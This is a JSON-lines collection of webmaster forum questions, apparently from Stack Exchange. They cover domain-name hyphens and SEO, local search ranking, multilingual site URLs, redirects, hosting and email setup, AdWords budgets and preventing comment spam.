{"id":"4600","title":"Creating a facebook page with your domain name","text":"I want to create a facebook page that has my domain name like this : http:\/\/www.facebook.com\/TrimHold But I can't find the way. Any suggestions would be highly appreciated. Thanks."}
{"id":"410","title":"Is it better to put hyphens in a domain name?","text":"Both in terms of `SEO` and user friendliness, is it better to put hyphens in a multi-words domain name or not ? For example, is `www.stackoverflow.com` better than `www.stack-overflow.com` ?"}
{"id":"57654","title":"Should I include dash in domain name?","text":"Willing to buy a new domain name, I wonder if it worths in SEO terms by including a keyword with a dash or it would be better avoid dashes? Without a dash, it can be unreadable. See below: www.psychologist-smith.com or www.psycologistsmith.com or www.smith.com"}
{"id":"25570","title":"Best SEO URL name for two word searches","text":"> **Possible Duplicate:** > Is it better to put hyphens in a domain name? QUESTION: What would work better for a two word search string as \"green shoes\"? Acquiring the domain greenshoes.com OR domain green-shoes.com? Or another? Any other tips on how to score high with two word searches Help appreciated!"}
{"id":"55916","title":"which domain is better for SEO purpose?","text":"i'm building a website to convert PSD files to PNG and i have two options to choose a domain: 1. convert-psdtopng.com 2. convertpsdpng.com I need the word convert to be there too. Which one do you think is better to rank on \"convert psd to png\" keyword? Thanks!"}
{"id":"62904","title":"Do you think that adding a dash (-) in domain names would impact in SEO?","text":"For example, do you think that google and other search engines make a difference when one domain name is like www.siteaboutsoccer.com and other named www.site-about-soccer.com ? Is it better to separate the keywords ?"}
{"id":"15019","title":"Using a hyphen in the domain name","text":"> **Possible Duplicate:** > Is it better to put hyphens in a domain name ? I am looking to buy a domain where the obvious choices have already been purchased. Example: `domaintest.com` or `domaintest.co.uk` So, I am looking to mix things up a little with a hyphen. Example: `domain-test.com` or `domain-test.co.uk` I have been looking around the web & stack to get a solid picture of why or why not to use hyphens in the domain and am a little confused. The key factors for me are usability (can users remember the domain, can they type it easily on a phone etc..) and seo. Ian"}
{"id":"14475","title":"SEO domain keyword adventage - alltogether.com or all-different-words.com?","text":"> **Possible Duplicate:** > Is it better to put hyphens in a domain name ? I have heard that if someone searches for a term, and your domain name matches that term (e.g. stackexchange.com ranks well for \"stack exchange\"). If there are 2 (or more) words that you are targeting (e.g. \"stack exchange\"), do you get a better google keyword bonus if you make it alloneword or if you use hypens? e.g. If you want to target the search term \"stack exchange\", should you register stackexchange.com or stack-exchange.com ?"}
{"id":"68163","title":"Domain Name has hyphens and exact match, should I change it?","text":"The blog is currently a blogspot blog. Used part of the name of the real website that I got the idea to start a blog for. Time to get a registered domain for it, instead of the( name.blogspot.com )it is now I got itchy and bought a domain name that has 4 words and hyphens. Also, I believe it is an exact match domain. I see now that hyphens are possibly bad and so maybe are exact match domains. I am not sure if it is wise to use this new domain name or get a different one. Or, if I use this domain name should i just get it with no hyphens, just a run on of 4 words. A different alternative is to use the name of the site i originally started the blog for and add a couple words which I think would be exact matched domain. If I do that should I use hyphens or no hyphens. Summary, Use hyphens or not in domain with 4 words but the 3 word is actually the letter n such as cookies-n-creme for example. Or, use the real websites name plus the two word exact match meaning NAMEwordword.com If I go this route do i use hyphens or not. I hope you can understand this question. Hard for me to put it into typing. The reason it is exact match name is that it is actually descriptive of the blog and I haven't been able to come up with anything descriptive that isn't."}
{"id":"48838","title":"404 errors How to deal with a large number of broken internal links for SEO","text":"I have recently updated my website. In fact I have completely rewritten it using wordpress. It was originally constructed using ASP. In the process, I have recycled a a large amount of my original website. This resulted in a large amount of broken links. Google webmaster tools report more than 30000 broken links and most of them are internal. These mainly result from there being reported links to urls not used anymore. That is links to scrapped, obsolete url from the previous version that does not exist any more. From SEO perspective I have read that if 404 errors are from internal links, it is best to delete the links. When I click on a broken link from the list displayed at health-> crawl errors, google shows me where this broken link appears at 'linked from' tab. When I click on links from 'linked from' , the purported broken link is not displayed on the 'linked from' page. That is the users of my website has no chance of trying to load this broken link. The broken link still shows up in page source. i.e. when i try view page source from chrome. The broken link is usually used in some javascript To clafiry, let www.myhomepage\/broken_link be the broken link reported by google webmaster tools. The google 'linked from' tab shows that this url was linked from www.myhomepage\/some_other_page. When I view the page source, the broken link is usually in [script type=\"text\/javascript\"]var _bpfbRootUrl=\"www.myhomepage\/broken_link\";[\/script] Again, i read that it is advisable to just delete internal broken links, but there are just so many of them and it would be very time consuming to manually delete each and every of them. What would be the best way to deal with this situation? I would like to avoid using custom 404 page. 302 does not seem like an option either, parsing url using regular expression to not redirect valid pages seem very complicated too Google webmaster tools report that index on my page had been sharply declining since it was rewritten with wordpress and dropped to 10% of original. Thank You."}
{"id":"23927","title":"What is the reason for this site's sudden drop in traffic?","text":"My one site's traffic has dropped in single day from around 4000 to 800 visitors. My other sites are getting normal visitor count. I'm not using any blackhat techniques nor trading links or having a bad neighbourhood or any copied materies. But yes it's a pdf documents download site with bounce rate of 32% and 3.5 pageviews per person. No issues reported in Google webmastertools. I find that for the relevant keywords my site has been pushed far way in Google. What could be the reason? **EDIT** I've uploaded two updated reports( webmaster top keywords and analytics 1 month graph).  * * * * * * "}
{"id":"69090","title":"How do I \"bind\" social networks account to my blog?","text":"My girlfriend has a WordPress blog for a while now, but when we check tools like websiteworth or woorank, it tells us that she has no twitter or G+ account, which is false. Is there a way to \"bind\" her social network accounts with her blog ?"}
{"id":"6450","title":"How can i replicated this functionality?","text":"http:\/\/www.astorandblack.com\/ab\/bespokevisualizer\/ (click on \"continue as guest\") A client wants this \"bespoke visualizer\" on their site. Is there a third party plugin I can buy for this? It can be in Flash and\/or JavaScript, it doesn't matter. Also, if there's no third-party plugin that's similar to this web app, then how could I code this from scratch? Thanks, Steven"}
{"id":"68609","title":"Does editing a Wordpress Theme from scratch affect SEO?","text":"I'm a web designer and I'd like to make a custom wordpress theme for my upcoming blog. The template is already made in photoshop but I need a good starting point. I don't have too much experience with Wordpress but I want something that is SEO friendly which I can edit without risking getting poor search results. I Know about Starkers and that there are other blank themes out there, but are they good for SEO?"}
{"id":"43555","title":"Unique Visitor count increases when pages are excluded","text":"For a date range greater than one day the total number of Unique Visitors is greater when I exclude pages ending in \"foo\" than when I look at all pages. The difference is ~4%. Why would this be happening? For daily totals of Unique Visitors the difference disappears and there are slightly fewer Unique Visitors when I exclude pages ending in \"foo\". Related to this, What is the difference in applying this through Advanced Segments vs. Filters? They both show subtly different answers. Cheers!"}
{"id":"60179","title":"Can I view my PC localhost test site on my android tablet without uploading it?","text":"I am working on a web site which is running on my PC via XAMPP. I want to test the site on my android tablet (galaxy tab) to make sure that the responsive design behaves that way it is designed to. I am wondering if there is a way to connect my tablet to my PC in a way that will allow me to view my localhost site on my tablet. This would allow me to fix bugs without having to upload every change."}
{"id":"53627","title":"Web assets and SEO - albums on WordPress","text":"I'm told that it is considered good SEO practice to have multiple digital properties \"around\" a website. For example, Youtube, Flikr, Social Media pages etc. Fine. I have linked my website to my G+ page, for example. I'm about to upload an album to WordPress. The pictures exist on my G+ album. I was just going to download the pictures from G+ and them re-upload them to my WordPress Gallery. Is there any SEO value in displaying the album directly from G+, rather than downloading and uploading to WordPress? This is a specific example, but what about other digital assets like Youtube videos? What's best practice here? Does this \"branch\" of SEO, if it exists, have a name?"}
{"id":"5531","title":"Local SEO Strategies","text":"What are your strategies for local SEO? For example, if you had a web design company in Lincoln, Nebraska, what would you do for your website from an SEO perspective?"}
{"id":"60986","title":"How should I improve my position in map listing?","text":"I don't understand on how the map listing are displaying the results in Google SERP. Please see the below screenshot, I just want to improve my SEO on map listings, but I have no idea to work on this. Anyone have experience on this ? and also why it is not showing for all the keywords and also I noticed it displaying on some browsers and sometimes not on other browser. why this is happening ? > "}
{"id":"12700","title":"Google SEO local ranking","text":"> **Possible Duplicate:** > Local SEO Strategies The new feature on google search which uses local search (like users City), how do we make sure our website is hosted in other countries but content\/location is specific city."}
{"id":"53256","title":"Client's website is not showing up as expected in Google local searches or maps","text":"I'm working for a client who runs a wellness center. He has a website as well as a Google Places account for the business. The Google Places account has a lot of tags associated with it that are relevant to the offerings from the center, and yet it doesn't show up on Google maps or in the local search results for really obvious searches like \"massage [name of city]\". I don't have access to the Google Places account yet, but I'm wondering if there's any way to check to see if there's some obvious problem with how things are set up. I can include the link to the website\/Google Places pages. I didn't want to do that right away in case it wasn't allowed. Thanks in advance for any help! It doesn't seem to me like this question is a duplicate of the one indicated. In this case there **is** a Google Places account, but it's not showing up in the local search results or anywhere on the map for anything other than the name of the wellness center itself. If this Google Place account isn't working properly, would it be advisable to create a new one for the same location, re- verify with google, mark the old one for deletion and then hope the new one works better? Are there any obvious configuration issues I should look for that might explain why this center doesn't even show up on the map for a search of \"[name of first listed category] [name of city]\"? I have worked with Google Places before and never encountered this type of problem."}
{"id":"45248","title":"SEO for multiple counties and cities","text":"I wanted to know the best practices for improving our SEO for service areas. We have a central office but cover all of Northern Virginia for our Web Design services and are currently only ranking in the areas surrounding our office address. How can I improve our SEO for multiple cities and counties? I appreciate the advice! Thank you"}
{"id":"6904","title":"Is it positive or negative for the average website to allow search engines to index user comments?","text":"I've been trying to answer this question myself by researching and searching on google but I haven't been able to come with a final answer. I have some hypothesis I would like share anyway: 1. The average website intends to reach the higher audience possible. 2. User generated content by comments is an efficient way of increasing the relevance and the valuable information of the average website. 3. Indexing comments will make any site attractive to spammers. 4. Indexing comments is more convenient for new\/low-traffic websites than it is for old\/high-traffic websites. 5. The web in general is currently choosing not to index comments in the average website because of fear to the SPAMMERS. 6. The average author of a content-valuable comment would like his comment to be indexed 7. Not indexing comments discourages the creation of content-valuable comments. So, what do you think finally? Is it positive or negative for the average website to allow search engines to index user comments? Why?"}
{"id":"21881","title":"How to prevent copying of the image folder of your website","text":"How to Prevent copying of the original image folder when the entire website is being copied. Also,what are the measures that should be taken to prevent guessing of the original images."}
{"id":"19584","title":"Is there a way or tool to search or know, how many results does google fetch and display with lots of keywords?","text":"Is there a way or tool to search or know, how many results does google fetch and display with lots of keywords? I intend to know, how many relevant searches does google display but with thousand of keyword. Actually, I am researching on the competition on various keywords. If there is a tool or a quick way, other than going to google and typing and then entering the keywords."}
{"id":"6902","title":"Track page size of web app for performance","text":"I'm about to start trialling optimisations on my web application (apache & tomcat). My main interest right now is: * The total page size (including external js files such as jquery) * The number of GETs per page I'd like to setup a systematic way of measuring the consequences of the various changes I make over time. Are there any tools that are useful for recording a sequence of page hits, playing this back (as I change the config) and record the size of each page ? Ideally I'd like something that can make work with a continuous integration server such as Continuum. Rgds, Kevin."}
{"id":"151","title":"What should I consider when choosing a hosting provider?","text":"I finished my website. It's awesome! How should I go about selecting a hosting provider? What features should I look for? What \"got-chas\" should I be aware of?"}
{"id":"52168","title":"Adding direct advertisements to a mediawiki installation","text":"I want to add sidebar ads to my mediawiki installation. I am planning on making direct advertisement deals, as opposed to using the built-in adsense\/bidvertiser functionality. How do I put the ads in my sidebar?"}
{"id":"31837","title":"How to block baidu spiders","text":"Most of my visits are from baidu spiders. I don't think it helps search engines at all so I'm thinking of how to block them. Could this be done via iptables? I'm using nginx as my webserver."}
{"id":"20865","title":"Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request","text":"I have a joomla website installed and working good. i installed Qlue404 component which redirects 404 page to a custom page., sometimes when i try the symbols ' and some others the 404 page appears with the message \"Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.\" also it shows the server information *Apache mod_fcgid\/2.3.6 mod_auth_passthrough\/2.1 mod_bwlimited\/1.4 FrontPage\/5.0.2.2635 Server at mywebsite.com Port 80* how can i disable this message? i swear this leads to get all information for a hacker to do an Sql Injection."}
{"id":"57907","title":"Sudden decrease in pages crawled per day","text":"During the last few days, Googlebot has crawled much less page in my site than it normally does. I'm not seeing any new errors, and haven't identified a reason for this. Is such a hugh and sudden decrease a sign there is a problem? Can this be just a temporary thing?  **Update:** The `Time spent downloading a page (in milliseconds)` graph remained steady."}
{"id":"60774","title":"Cannot logon to POP server on my VPS or recieve emails","text":"I recently purchased an unmanaged VPS to host my business websites, however I am struggling to get the email accounts working as I have only ever had experience with shared hosting. The VPS is running CentOS and I have Webmin\/Virtualmin installed. I have added my domain, which is lyke.org.uk, and that is working OK. However, when I've added a user and tried to access their email account using Apple Mail, I've been able to establish a SMTP connection but I've not been able to login using POP. Furthermore, I've set up squirrelmail and I can send an email to any email address from there but I haven't recieved any that I have sent to that email address from other accounts. I would very much appreciate any help or suggestions as I am completely new to VPS and web hosting without Plesk or cPanel."}
{"id":"45562","title":"multiple domains for one site","text":"I'm maintaining a website of a lodge which has a golf course, a spa and a restaurant and they all have seperate urls. Now, the main Lodge page contains all the content and for now, the other URLs just forward to the specific pages e.g. spa.com forwards to www.lodge.com\/spa. Now I assume that this is not the optimal way to make use of these additional domains... now, how do I best go about this? I thought about linking from within my lodge.com page to spa.com as soon as people click on the spa link but then again if someone looks for a lodge with spa e.g. it would rank lower as the spa would appear to be seperate from the lodge... how do i best go about this?"}
{"id":"67558","title":"How can I add my website to DMOZ?","text":"I have a new website that I tried to list in DMOZ, but as of now it's still not listed. Please tell me what I have to do so that my website will get listed in DMOZ."}
{"id":"56946","title":"How do you use 'site:' to search Google for just the domain without all the other subdomains appearing?","text":"When I use the `site:` operator to search for domains, it returns all the other matched subdomains as well. However, I only want to see what's indexed for the main site. For example: `site:google.com` returns result of `abc.google.com` as well, but I only want to see what's on `google.com` I don't want to use `site:google.com -site:abc.google.com` since I don't want to enumerate through all the other subdomains. Is there a way to do \"exact\" match with the `site:` operator?"}
{"id":"60074","title":"General HTTP error: Domain name not found","text":"I have verified my domain through a TXT record by google, however, my site hasn't indexed yet and I face with sitemap errors in google webmaster tool. I run dns health check from http:\/\/dnscheck.pingdom.com\/ ,and everything seems ok. But as you can see from the snapshot below webmaster gives `General HTTP error: Domain name not found` error. I will appreciate for any help and thanks anwyway. EDIT: My site is buraktas.com "}
{"id":"69096","title":"Google wont apply adsense policies for session based websites and Ajax loaded sites?","text":"I have seen so many websites (Mostly User generated content - Getting contents from Third party API's) still displaying Adult like contents (with images) but still they are running well with Google Adsense without any issues. Below is url that displays the Adult contents (you can view only if you logged into the Instagram.) http:\/\/www.gramfeed.com\/instagram\/635186136754514912_477290089 I wont say this is a bad or Adult site. Because of user generated content, the page contains Adult content (Even you can see the F..k word too). But they are displaying Google ads. My Questions here is, If a website main content loaded via Ajax (but not the Advertisement, Header and Footer). So Google adsense or Google can not able to find violation in the page. Is this correct? If a website displays main content only by visitor login (but not the Advertisement, Header and Footer), So Google crawler can not able to find violation in the page. Am i right in the above points?"}
{"id":"32006","title":"How to redirect a website from a folder to the root folder?","text":"I was running a website on a folder (www.example.com\/folder). The new version of the website is live and runs on the root folder. How should I redirect users who visit the website using the old URLs (either because they bookmarked it or through search engines)? And in the long term, can I 'clean' the search engines results by removing the old links that show up?"}
{"id":"49159","title":"Do web hosting companies allow server-side scripts to make external data requests?","text":"I'm currently ready to deploy an asp.net website and looking at web hosting companies. The C# code behind periodically uses `HttpWebRequest` to pull data from an external website to insert into a SQL database. This is only a server script and clients won't have any affect on when or how it runs. This my first time deploying a site, so my question is.... do web hosting companies allow external http requests? Is there anything specific I should be looking for to ensure this will work when deployed?"}
{"id":"23043","title":"What meta\/link html tags important for seo?","text":"> **Possible Duplicate:** > New META TAGS with positive effects for seo ranking in 2011 and beyond What are meta tags important for seo? Especially for blogs. I often find something new, maybe you will correct me and add something else? meta name = description - description of page http-equiv = Content-Language content = \"ru\" - language of page http-equiv = \"Content-Type\" content = \"text \/ html; charset = utf-8\" rel = \"alternate\" type = \"application \/ rss + xml\" - Link for RSS-chanel Another thing I remembered but had forgotten indication nofollow \/ follow, index \/ noindex on the page. Somebody remind me? I also saw a Wordpress rel = next \/ previous page is important for SEO? Something else that I do not have?"}
{"id":"6184","title":"How do I force a www subdomain on both HTTPS and HTTP?","text":"For whatever reason I can’t seem to get this right. I’ve looked at many examples on here and on the Apache website. I’m trying to force `www.example.com` instead of example.com on **both** HTTP **and** HTTPS, but I am not trying to force use of HTTPS instead of HTTP. The following code seems to work for all HTTPS connections, but will not cause a redirect for HTTP connections. RewriteEngine On RewriteCond %{HTTPS} on RewriteCond %{HTTP_HOST} !^www\\.example\\.com$ [NC] RewriteRule ^ https:\/\/www.example.com%{REQUEST_URI} [R=301] RewriteEngine On RewriteCond %{HTTPS} off RewriteCond %{HTTP_HOST} !^www\\.example\\.com$ [NC] RewriteRule ^ http:\/\/www.example.com%{REQUEST_URI} [R=301]"}
{"id":"51920","title":"What's the difference between nofollow and canonical?","text":"I'm confused about the difference between `rel=\"nofollow\"` and `rel=\"canonical\"`. I currently use nofollow for any links that I do not want followed (for example rubbish content but small importance) and I use canonical for duplicate content (for example: `http:\/\/example.com\/price.php- sortby=price` vs `http:\/\/example.com\/price.php-sortby=alphabetic`). Maybe I'm using these wrong. I need good advice on what's the best way to use **nofollow** and **canonical** correctly."}
{"id":"42310","title":"Upgrading phpBB2 to phpBB3: easy or difficult?","text":"I recently took over a site which is mostly a phpBB version 2 forum for a niche audience, surrounded by a few fairly static pages written in PHP. Our forum user base is about 3000 users, with a hundred or so forum posts per month. We have modified a few of phpBB2's source code files from the standard issue. Now phpBB version 2 is no longer supported as of mid-2009, though alternate phpBB2 support communities exist. The current version is phpBB version 3. The outgoing webmaster said that they had decided against upgrading to to phpBB3 software because the expected it to be a difficult task with little feature benefit. What is the general experience with upgrading a phpBB2 site to phpBB3? Is the experience generally difficult, or generally easy? phpBB3 provides a conversion path for phpBB2 sites; how well does this work? Let's leave the question about the _benefits_ of upgrading to a separate discussion. Let's just talk about difficulty."}
{"id":"23123","title":"SEO considerations for multilingual websites","text":"> **Possible Duplicate:** > How can I get search engines to crawl my site and see a localised view of > my data? I'm developing a website that will be translated into two languages: English and French. I'm just wondering what the best practices for such a site would be when it comes to SEO? So far, the website has two root sub-directories, which means URLs look as follows: * `http:\/\/www.example.com\/en\/home` * `http:\/\/www.example.com\/fr\/accueil` And in my `<html>` tag I specify the page language using the `lang` attribute (depending on which sub-directory we're in, i.e. `<html lang=\"fr\">`). Will this be enough for the site to rank and be indexed correctly in local versions of Google, i.e. English pages to achive the best ranking they can on google.co.uk and the French content to achieve the best rankings it can in google.fr?"}
{"id":"53330","title":"Do GET variables have bad effects on a page?","text":"I am developing my own site, and I want to add multilanguage to my site. My approach is to have a GET variable `lang=LANG` to handle different languages. So, my URLs will be as such: mysite.com\/index.php?lang=EN mysite.com\/index.php?lang=AR ... Do Google consider these as a single page? Do they have one PageRank? As I know \"canonical\" is a solution to such issue, but I read on this site that Google will still consider them as different pages. Here is what I found: seo and php get variables"}
{"id":"3786","title":"Multiple Language Website and SEO","text":"> **Possible Duplicate:** > How can I get search engines to crawl my site and see a localised view of > my data? Sorry, this post became a bit loquacious - but I haven't found any satisfactory answers on the web thus far. I've been developing a website for a while now, into which I've built support for multiple languages. All the terms, words and phrases are stored in a file in JSON format which is decoded and converted into an array. With this, it's easy to create the entire site in a different language. The website consists of 100% home-cooked code... no Wordpress, Drupal or any other framework, so none of the multi-language plugins for the aforementioned will work. To switch language, the user clicks a link at the top of the page (positioned at the top, in reality, it's at the bottom of the HTML structure). Each page of the site has this menu, whereby a query string parameter is added. `\/hotels\/index.html` becomes `\/hotels\/index.html?lang=fr`. The script sees the `lang` parameter, changes the user's cookie and loads the appropriate JSON file, and they are returned back to the same page they were on without the `lang` parameter. This has been a very convenient way to switch languages, as the user remains on the same page, and the links are exactly the same. I built it this way after another site that required multiple language support where SEO was not a priority (an internal company-only program). If a visitor comes to the site for the first time, the script looks at the `HTTP_ACCEPT_LANG` constant and loads the appropriate language and sets the cookie (instead of geo-locating, which takes longer, and I personally dislike - I live in Thailand, and even Google serves the Thai version even though I have my OS and browser in English). My question is - I'd eventually like Google and other SE's to index the site in these other languages, but without the `lang` attribute in the URL. If the user uses Google in French or Russian, they get served the site in French or Russian, respectively. Since the URL `\/hotels\/index.html` would have a version in English (default), French and Russian, but still having the same URL, I assume this is a problem for Google and other SE's. Can someone explain how Google indexes multiple-language sites setup in this manner? Would using a sub-domain work best to separate them? I do not wish to alter the way URL's are handled on the site, as I like to keep as few query strings as possible from being indexed. On another note, I accidentally opened the site for indexing with the language links, and somehow, the redirects did not work properly, and I have links such as `\/something\/index.html?lang=ru?lang=ru` indexed in Google. I've detected these in the script and placed a 301 redirect to remove these `lang` parameters... will these bad links be replaced with the redirected URL's in Google over time?"}
{"id":"23117","title":"SEO problems with multilanguage site","text":"> **Possible Duplicate:** > How can I get search engines to crawl my site and see a localised view of > my data? I have recently started a CMS project in PHP, the site will be multilingual. Assumptions are as follows: * 2 languages in the beginning (pl-pl, en-gb) * language auto detection based on browser language * for all other languages than the above, fallback is en-gb * site will have links to change language, but they will be shown as AJAX \/ JS widget! I know from my experience that sometimes there are problems with correct Googlebot indexing for home page. My question is whether Googlebot is able to index both language versions of the website, and whether I should use subdomain (`en.webpage.com`) or PHP get (`webpage.com\/index.php?lang=EN`) to see the best results."}
{"id":"23112","title":"URL strategy for multilingual website","text":"> **Possible Duplicate:** > How can I get search engines to crawl my site and see a localised view of > my data? I was wondering what would be the best URL strategy for a multilingual website (for an Italy based company). I was thinking about site.com\/it and site.com\/en, not showing any content at site.com and redirecting the visitors to the localized site when they try to access site.com. What about buying an additional domain, site.it, and then redirecting to site.com\/it? Are these good ideas? If so, **regarding of SEO** , which are the best redirect methods for both site.com (to site.com\/en or site.com\/it) and the additional (if available) site.it (to site.com\/it)?"}
{"id":"55233","title":"Will echoing content from a simple XML loaded with PHP cause the page to show up in search results (SEO)?","text":"I want to know if I'm using PHP right to create search friendly content. I'd like my images to start showing up in Google for my website, so I'm passing an RSS feed to PHP file using the `simplexml_load_file` command and writing content to the page with `echo`s. $rss = simplexml_load_file('~~RSSfeed~~'); foreach ($rss->channel->item as $item) { echo '<li>'. $item->description .'<\/li>'; } Will displaying a list of images and text (there's other formatting and divs that I didn't include) make this content show up in search results?"}
{"id":"45323","title":"Small AdWords campaigns with low budget","text":"Having a Google AdWords campaign of a daily budget less than 10€ ($13, £8.5), I had these: **Setup 1** * (1 campaign with 100% budget) x (3 ad groups) x (2 to 3 ads) = 40-60 clicks\/day * long list of keywords per ad group * budget ends up being spent on the ad group with the highest traffic\/competition **Setup 2** * (3 campaigns with 1\/3 of budget) x (3 ad groups) x (3 to 4 ads) = 20 clicks\/day * less keywords per ad group but more closely related to the ads' purpose and phrasing, which summed up match and extend the keyword lists of Setup1 * all around performance dropped and in some cases a lot (i.e. clicks) * * * **Questions** In specific to small campaigns, which I feel are not addressed as much by most guides I found around the web: 1. My assumption for the above is that the **main** reason for the drop in performance of Setup2 is the extremely low budget. Even though generic and simplistic, is this correct? 2. How can I best manage the budget, so that it is spent more universally or up to a specific limit for each ad group? 3. Finally, does anyone have any suggestions specific for campaigns of this level?"}
{"id":"45322","title":"Server requirements for thousands of concurrent connections?","text":"I was wondering if anyone could provide some insight into the approximate server requirements (CPU, RAM, etc) for thousands of concurrent connections to a small text file. The actual number of concurrent connections will vary, but it could be as high as 100,000 or more per second at times. The file that will be accessed is a very small text file (a few KB)."}
{"id":"48201","title":"Content blocks on dedicated pages rather than listed on one page","text":"I am doing a web site for a client. The descriptions for all his services are rather short and precise so I decided to put them all (about 10 of them) on one page and have a sticky menu in the sidebar for quick access to each of the services. I find that a very usable experience. And for mobile (through the responsive approach), swiping through the services is more convenient than navigating to each service on a dedicated page. But now an SEO guy comes in and tells me to put all services on dedicated pages, and the client then also has to transform all the about 60 words descriptions into 400 word descriptions, because Google demands 400 words to be on a page to be a page. I my opinion this is a major step back in regard of accessibility\/usability. And stuffing the descriptions with 'nonsense' just for the sake of the presumed SEO advantages? I really don't think so. I am about to tell the client, that the SEO guy might not be right about that situation, but I am not sure, so who is right?"}
{"id":"25373","title":"How can I prevent spam on sites which I control?","text":"_This is a general, community wiki question to address all non-specific spam prevention questions._ _If your question was closed as a duplicate of this question and you feel that the information provided here does not provide a sufficient answer, please open a discussion onPro Webmasters Meta._ * * * For purposes of this question, spam will include: * Any automated post * Manually-posted content which includes links to spammers' sites * Manually-posted content which includes _instructions_ to visit a spammer's site"}
{"id":"24960","title":"Stopping comment spam with links(need suggestion)","text":"> **Possible Duplicate:** > How can I prevent comment spam on sites which I control? After bearing 1 year spammy comments with links in those in my 10 sites, finally I've disallowed comment posting with prefix of \"http\" or \"https\" ( with message that I'll add prefix http if needed). I'm happy with the results. But could it be hurting site or site visitors in any way? Any ideas?"}
{"id":"25803","title":"Moderator with no power to fix spam bot issue","text":"> **Possible Duplicate:** > How can I prevent spam on sites which I control? I think this is the correct site to post this. So I'm a **moderator** (not administrator) on anddev.org and it's completely infested with spam bots, just as fast as I ban them, more post. I'm sure they can sign up faster than I can ban them. There is a two stage first post sign up validation that they have clearly got around. I'd also like to delete all posts by that user when they are banned. (which I can't see an option for) Is there anything I can do? _EDIT_ This was closed for the wrong reasons: **I'm just a moderator not an administrator** I can't do any of the things in that wikipost. I wanted to know what I can do as a Mod, or how I can find more options, or even what the software is I am moderating!"}
{"id":"56558","title":"Major spam issue... CAPTCHAs and email verification aren't working","text":"We have a user who claims to have a vendetta against our community. We run a fairly large social networking website, and for the past four or five weeks, this particular person (or maybe people?) has been spamming our largest discussion groups and personally attacking other members by leaving hateful comments and death threats on their pictures. We employ CAPTCHA and email verification on signup. We also have cross post analysis that catches users mass-posting a single thing to a lot of groups. It seems as if he has hundreds of legit emails (they're all gmail, hotmail, yahoo) and looking at our logs, it seems as though he's sitting there and legitimately solving these CAPTCHAs. For hours. Every single day. When he caught on to our cross post analysis, he started generating random titles and bodies to post. He'll hit a dozen of our top groups with those over and over again until we delete his user account or he gets banned by a moderator. His IPs change constantly. Many are Tor nodes, some are vanilla HTTP proxies. His user agents change for every new user he signups. Sometimes they're even \"GoogleBot\", which I thought was amusing. So my question is, are there best practices we could be following besides employing CAPTCHA and email verification? Ones geared towards an extremely motivated human generating spam?"}
{"id":"22892","title":"PHP software to detect spam?","text":"> **Possible Duplicate:** > How can I prevent spam on sites which I control? I'm looking for something like spam-assassin or similar, except it only focuses on the message rather than inspecting an entire email header. It doesn't even need to be really fancy, just do the classification of messages. In theory we could provide meta-data such as IP. I'm doing this because I want an feedback forum without authentication or recaptcha or having to put every email in the \"pending\" bin before it's published."}
{"id":"4202","title":"Tons of spam on phpBB even with recapcha enabled","text":"> **Possible Duplicate:** > How can I prevent spam on sites which I control? I am running a phpBB forum where the requirements were that users shouldn't have to sign up in order to post. They could just give a name and post as long as they used recapcha before posting. Problem is that there are like 30 pages of spam in some threads. The software is up to date. The forum gets very little legitimate traffic. If I can't fix this I will either have to require registration or remove the forum all together."}
{"id":"47995","title":"How to prevent common spam on a WordPress blog","text":"Right from the day I installed WordPress on my site, I started getting spam comments\/trackbacks. I have also prevented anonymous comments. I get the following email whenever a new spam is posted: New trackback on the post `\"<post name>\"` is waiting for your approval `<url>` Website : jackettl36 (IP: 112.111.173.89 , 112.111.173.89) URL : <redact> Trackback excerpt: <strong>fake OAKLEY sunglasses...<\/strong> ... How to prevent such automated spam?"}
{"id":"8046","title":"Recommended Spam Best Practices","text":"> **Possible Duplicate:** > How can I prevent spam on sites which I control? Are there any recommended admin tools or interfaces for reviewing and moderating spam on a community-driven UGC site?"}
{"id":"28225","title":"Does anyone run a site with Pligg? What is the most effective way to stop spam sign ups?","text":"> **Possible Duplicate:** > How can I prevent spam on sites which I control? Specifically trying to combat things like this! http:\/\/www.autopliggdotcom (didnt want to give them a link!)"}
{"id":"53823","title":"Is there a way to control spam on a site where user contribution is allowed without accounts?","text":"I am in the process of designing a database and accompanying website where users can submit local dance events. Part of the site will be the posting of new events but also the vetting of current events. Users will be able to flag event info as correct or incorrect, flag info for review, and mark an event as interested\/attending. Is there a way I can mitigate the amount of noise and spam since the site will be public and not have accounts?"}
{"id":"719","title":"Free spam blocker service","text":"> **Possible Duplicate:** > How can I prevent spam on sites which I control? Is it possible to get a free and good spam blocker for your website? I would really like to avoid having to serve CAPTCHAs to my site's users, but I don't want spam bots to be able to post links etc."}
{"id":"25586","title":"Spammers in my Magento blog comment section!","text":"> **Possible Duplicate:** > How can I prevent spam on sites which I control? I have a blog extension installed on my Magento website. But I regularly receive spam comments on the blog. To help fight against automated and manual spam comments on the blog I have enabled a Captcha service. But even with the Captcha service running the site still receives spam, is there a more effective method to avoid spam?"}
{"id":"194","title":"Effective captcha solutions","text":"> **Possible Duplicate:** > How can I prevent spam on sites which I control? ReCaptcha is all the rage at the moment, Based on customer\/user feedback, what other captcha or general human verification tools have you used for your website? Links to the API\/Site appriciated, Thanks guys!"}
{"id":"45327","title":"Can I create test accounts in Google for testing Oauth in my application?","text":"My app contains Sign in from Google function that uses Oauth. To test it I'd want to create test accounts at Google. But Google doesn't allow me to create ordinary accounts without entering captcha so I can't create ordinary accounts for testing. Can I create test accounts in Google to test Oauth in my application?"}
{"id":"2729","title":"How much should a newbie charge a client for web design work?","text":"I was asked to design a website for a client. Personally, I'd work for free since I'm just in it for the experience of working with a client but they insist on paying me so I will get an idea as to how freelancing works and for them to know how much they should pay for future services. I have very little experience when it comes to real work since I'm still a student but I've had internships as a web designer\/developer in some software companies here in my area. I can build decent web pages using HTML, CSS, Javascript\/jQuery, Java\/JSP\/J2EE and SQL. I am also familiar with some CMS like WordPress and Joomla. How much do you think should I charge my client if I were to design a simple static but somehow functional website for them and how should I charge them for my services? I forgot to mention that I am located in the Philippines. Since it's a 3rd world country, I'm pretty sure the rates here are lower than most areas."}
{"id":"39809","title":"Better Image Hosting for MediaWiki","text":"We're using MediaWiki and writing a lot of articles \/ tutorials that require images \/ screenshots. Image management in MediaWiki is painful. I was hoping I could use something like Dropbox to store all the images we need and then share them via external links. However, public folders aren't sharable and I can't make shared folders public. Is there something like Dropbox where I can easily just drop the files in a folder, they sync with all my colleagues, and I can get static URL's to the files to put on MediaWiki?"}
